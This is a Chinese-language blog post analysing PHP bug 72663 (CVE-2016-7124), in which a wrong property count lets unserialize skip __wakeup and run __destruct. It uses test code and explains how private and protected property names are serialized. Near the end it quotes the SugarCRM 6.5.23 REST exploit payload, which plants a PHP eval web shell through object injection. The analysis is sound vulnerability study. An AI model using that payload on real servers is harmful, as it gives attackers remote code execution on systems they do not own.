php bugs 72663分析(CVE-2016-7124)

前几天出了一个SugarCRM 6.5.23 - REST PHP Object Injection Exploit漏洞, 昨天360发了一篇分析文章, 写的并不好, 看完了对php bugs 72663这个bug还是一堆疑问
本文主要分析php bugs 72663这个bug
SugarCRM的漏洞分析见p0wd3r的文章: http://paper.seebug.org/39/

php bugs 72663: https://bugs.php.net/bug.php?id=72663
360 上分析的文章: http://bobao.360.cn/learning/detail/3020.html
PS:

1
2
3
4
$ php --version
PHP 7.0.0 (cli) (built: May 15 2016 02:41:06) ( NTS )
Copyright (c) 1997-2015 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2015 Zend Technologies

下面这个是360这篇文章中给出的对72663 bug的测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class test{
var $wanniba;
public function __destruct(){
$this->wanniba = "*__destruct<br />";
echo $this->wanniba;
echo "__destruct OK!<br />";
}
public function __wakeup(){
$this->wanniba = "*__wakeup<br />";
echo $this->wanniba;
echo "__wakeup OK!<br />";
}
}
#$a = new test();
#echo serialize($a);
$payload = 'O:4:"test":1:{s:7:"wanniba";N;}';
$payload1 = 'O:4:"test":1:{s:10:"\0*\0wanniba";N;}';
$abc = unserialize($payload);
$abc1 = unserialize($payload1);

问题1

\0*\0 有何意义?
在php bugs原文里还有这里都出现了这个字符串, 那么这个字符串有何意义?
在上面的代码中\0*\0是处在单引号中, 在php里, 单引号中的为纯字符串, 所以这是5个字符\, 0, *, \, 0, 而不是chr(0)+'*'+chr(0)
所以在上面的demo中\0*\0wanniba为12个字符, 而序列化前面的确是10, 这当然会反序列化失败, 而出现该结果

1
2
3
4
5
6
7
8
*__wakeup
__wakeup OK!
*__destruct
__destruct OK!
Notice: unserialize(): Error at offset 30 of 37 bytes in /home/wwwroot/default/test/test3.php on line 48
*__destruct
__destruct OK!

按这篇文章来说, 如果这是正确结果的话, 那么我根本不需要\0*\0字符串, 只要$payload1 = 'O:4:"test":1:{s:10:"wanniba";N;}';, 就可以出现同样的结果

所以又回到开头的问题上来了, \0*\0有何意义?

在看看php bugs上的PoC: $sess = 'O:9:"Exception":2:{s:7:"'."\0".'*'."\0".'file";R:1;}';

从这可以很明显的看出, \0*\0是有意义的三个字符, 而不是上面代码中无意义的5个字符

问题2

危害?
在上面问题没想清除的前提下, 我们假设上面代码的输出结果就是漏洞应该输出的结果, 那么危害是啥?
这稍微要设计到SugarCRM的这个漏洞, 从它的漏洞分析中我们可以猜测, 该漏洞的作用是在反序列化的过程中, 跳过__wakeup魔术方法, 然后直接执行__destruct, 然后__destruct魔术方法中有我们可控的部分

然后我写了下面的demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Test{
var $name;
public function __construct($name) {
$this->name = $name;
}
public function __destruct() {
var_dump($this);
}
public function __wakeup() {
$this->name = NULL;
echo "wakeup<br/>";
}
}
#$s = new Test("test1");
#$g = serialize($s);
#echo $g;
$f = 'O:4:"Test":1:{s:4:"name";s:5:"test1";}';
$f2 = 'O:4:"Test":1:{s:5:"name";s:5:"test1";}';
$c = unserialize($f);
$c = unserialize($f2);

输出:

1
2
3
4
wakeup
object(Test)#2 (1) { ["name"]=> NULL }
Notice: unserialize(): Error at offset 24 of 38 bytes in /home/wwwroot/default/test/test3.php on line 25
object(Test)#1 (1) { ["name"]=> NULL }

然后我们并没有办法控制name变量, 所以说这洞有啥用?


看了p0wd3r的demo后, 终于懂了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Test{
private $name;
protected $age;
var $sex;
public function __construct($name, $age, $sex) {
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
public function __destruct() {
# var_dump($this);
}
public function __wakeup() {
$this->name = NULL;
echo "wakeup<br/>";
}
}
$s = new Test("Rem", 14, 'girl');
$g = serialize($s);
echo $g;

在网页上看输出是:

1
O:4:"Test":3:{s:10:"Testname";s:3:"Rem";s:6:"*age";i:14;s:3:"sex";s:4:"girl";}

发现奇怪的地方了, 然后

1
2
3
4
5
6
>>> import requests
>>> r = requests.get("http://127.0.0.1/test/test3.php")
>>> r.content
'\nO:4:"Test":3:{s:10:"\x00Test\x00name";s:3:"Rem";s:6:"\x00*\x00age";i:14;s:3:"sex";s:4:"girl";}\n\n'

研究发现, \x00 + 类名 + \x00 + 变量名 反序列化出来的是private变量, \x00 + * + \x00 + 变量名 反序列化出来的是protected变量, 而直接变量名反序列化出来的是public变量, 好了, 现在第一个问题解决了

下面是第二个问题,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Test{
private $name;
protected $age;
var $sex;
public function __construct($name, $age, $sex) {
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
public function __destruct() {
var_dump($this);
}
public function __wakeup() {
$this->name = NULL;
echo "wakeup<br/>";
}
}
#$s = new Test("Rem", 14, 'girl');
#$g = serialize($s);
#echo $g;
$f = 'O:4:"Test":3:{s:10:"'."\0Test\0".'name";s:3:"Rem";s:6:"'."\0*\0".'age";i:14;s:3:"sex";s:4:"girl";}';
$f2 = 'O:4:"Test":4:{s:10:"'."\0Test\0".'name";s:3:"Rem";s:6:"'."\0*\0".'age";i:14;s:3:"sex";s:4:"girl";}';
$c = unserialize($f);
$c2 = unserialize($f2);

输出结果

1
2
3
4
5
6
wakeup
Notice: unserialize(): Unexpected end of serialized data in /home/wwwroot/default/test/test3.php on line 29
object(Test)#2 (3) { ["name":"Test":private]=> string(3) "Rem" ["age":protected]=> int(14) ["sex"]=> string(4) "girl" }
Notice: unserialize(): Error at offset 81 of 83 bytes in /home/wwwroot/default/test/test3.php on line 29
object(Test)#1 (3) { ["name":"Test":private]=> NULL ["age":protected]=> int(14) ["sex"]=> string(4) "girl" }

反序列化$f -> 执行__wakeup -> 反序列化$f2 -> 对象属性个数错误 -> 销毁, 执行__destruct -> 程序结束销毁$c, 执行__destruct

所以有了上面的输出结果

总结

1
$f2 = 'O:4:"Test":4:{s:10:"'."\0Test\0".'name";s:3:"Rem";s:6:"'."\0*\0".'age";i:14;s:3:"sex";s:4:"girl";}';

针对上面这串序列化字符串猜测反序列化是从左往右执行, 首先匹配到O, 得知是一个对象 -> 匹配到4, 得知对象名为4个字符串 -> 匹配对象名Test, 搜索自己的内存空间检测是否定义过该对象, 得知定义过, 分配sizeof(Test)大小的内存空间 -> 匹配到4, 得知有给4个对象属性赋值 -> 第一个匹配到s, 得知是字符串变量 -> 匹配到10, 得知变量名长度为10 -> 匹配变量名, 发现开头是”\0”+对象名+”\0”, 得知是private变量, 其后为变量名 -> (重点结束开始快进)匹配s:3:”Rem”, 变量的值为长度为3的字符串Rem -> ……..匹配结束第三个属性, 匹配第四个, 匹配到}, 出错, 退出序列化, 销毁对象, 执行destruct方法(就是这里跳过了wakeup方法直接执行__destruct方法)

然后稍微看看SugarCRM的PoC

1
2
3
4
5
data = {
'method': 'login',
'input_type': 'Serialize',
'rest_data': 'O:+14:"SugarCacheFile":23:{S:17:"\\00*\\00_cacheFileName";s:15:"../custom/1.php";S:16:"\\00*\\00_cacheChanged";b:1;S:14:"\\00*\\00_localStore";a:1:{i:0;s:29:"<?php eval($_POST[\'HHH\']); ?>";}}',
}

这里出现了一个问题, 纠结了我很久, 这里的payload用的是'\00*\00' 而不是 "\00*\00", 而之间测试代码告诉我们的不一样啊, 为啥'\00*\00'也行呢?

PS: 这里注意区别

1
2
3
4
5
6
7
8
9
>>> a = "\\00*\\00" # 这个是php的'\00*\00'
>>> b = "\00*\00" # 这个是php的"\00*\00"
>>> a.encode('hex')
'5c30302a5c3030'
>>> b.encode('hex')
'002a00'

最后找到一些非官方的资料(找不到官方的): http://www.neatstudio.com/show-161-1.shtml

  • a - array
  • b - boolean
  • d - double
  • i - integer
  • o - common object
  • r - reference
  • s - non-escaped binary string
  • S - escaped binary string
  • C - custom object
  • O - class
  • N - null
  • R - pointer reference
  • U - unicode string
1
2
s:5:"\00te" 表示的是5个字符\ 0 0 t e
S:3:"\00te" 表示的是3个字符\0 t e

测试代码中我用的是s, 而payload中用的是S, 所以说本质还是一样的, 也就是我上面所说, 是"\0*\0"

该bug影响的php版本和SugarCRM漏洞详情请看p0wd3r分析文章

文章目录
  1. 1. 问题1
  2. 2. 问题2
  3. 3. 总结